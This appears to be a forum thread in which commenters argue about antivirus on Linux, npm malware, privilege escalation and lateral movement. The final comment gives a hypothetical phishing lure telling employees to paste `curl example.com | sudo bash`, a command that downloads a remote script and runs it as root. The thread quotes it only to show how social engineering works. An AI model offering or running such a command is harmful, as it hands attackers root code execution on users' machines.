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That's only because Linux doesn't have working antivirus though. If it did, you'd want it.
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Or... working viruses on Linuxes, for that matter. They always throw something about needing glibc x.x.x or higher.
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npm viruses were pretty successful
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Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over.

How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network.

It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.

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how? if there's hundreds of employees and one of them downloads something that's detectable, you've now prevented a disaster that otherwise wouldn't have
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Imagine they got an email from the HR department that says that they must copy `curl example.com | sudo bash` to prove they are human and get their salary...
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